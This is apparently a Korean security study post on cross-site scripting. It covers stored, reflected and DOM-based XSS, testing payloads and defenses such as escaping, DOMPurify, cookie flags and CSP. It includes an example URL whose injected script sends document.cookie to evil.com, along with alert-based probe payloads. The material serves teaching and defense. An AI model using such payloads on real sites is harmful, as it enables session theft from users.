[Web] Web · 작성: 2026-07-19 19:15:17 · 조회 4
XSS는 신뢰할 수 없는 입력이 이스케이프 없이 HTML/JS 컨텍스트로 들어가서, 공격자가 만든 스크립트가 피해자 브라우저에서 실행되는 취약점이다.
공격자가 입력한 스크립트가 서버(DB)에 저장됐다가, 다른 사용자가 그 페이지를 볼 때마다 실행된다. 게시판 댓글, 프로필 소개글, 마크다운 포스트가 전형적인 타겟이다. 영향 범위가 가장 넓다 — 한 번 심으면 여러 사용자가 계속 당한다.
서버가 요청 파라미터를 검증 없이 그대로 응답에 포함시킬 때 발생. URL에 페이로드를 심어서 피해자가 그 링크를 클릭하게 유도해야 한다.
https://example.com/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
서버를 거치지 않고, 클라이언트 JS가 location.hash, document.URL 같은 값을 검증 없이 innerHTML에 꽂아 넣을 때 발생. 서버 로그에는 흔적이 안 남을 수 있어서 놓치기 쉽다.
단순 alert(1)은 PoC일 뿐이고, 실제 impact는 다음과 같다.
document.cookie로 세션 쿠키 탈취 (단, httpOnly 쿠키는 JS로 못 읽음)<script>alert(1)</script>, "><img src=x onerror=alert(1)> 등을 넣어보고 반응 확인onerror, onload), javascript: 스킴, 인코딩<script> 태그 내부 / URL) — 컨텍스트마다 필요한 페이로드가 다르다<, > 이스케이프, 속성값이면 따옴표까지, JS 컨텍스트면 별도 인코딩.DOMPurify 같은 검증된 sanitizer를 반드시 통과시킨다. 직접 정규식으로 필터링하는 건 거의 항상 우회당한다.httpOnly, Secure, SameSite 설정.Content-Security-Policy 헤더로 인라인 스크립트 실행을 원천 차단 — 필터를 뚫려도 마지막 방어선이 된다.